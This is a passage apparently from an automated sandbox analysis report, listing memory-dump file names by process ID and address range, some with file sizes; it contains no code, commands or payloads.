                                                                                                                                                  • memory/4232-146-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4260-217-0x000001D00F680000-0x000001D010141000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4260-220-0x000001D00F680000-0x000001D010141000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4268-215-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4280-199-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4384-201-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4400-151-0x0000012AD4580000-0x0000012AD45A2000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/4400-153-0x0000012ABB750000-0x0000012ABC211000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4400-185-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4440-209-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4508-189-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4568-170-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4620-177-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4644-196-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4660-214-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4664-193-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4692-251-0x0000000010630000-0x0000000011630000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    16.0MB

                                                                                                                                                  • memory/4740-197-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4760-169-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/4952-198-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/5112-183-0x0000000000000000-mapping.dmp

                                                                                                                                                  • memory/5116-142-0x0000000000000000-mapping.dmp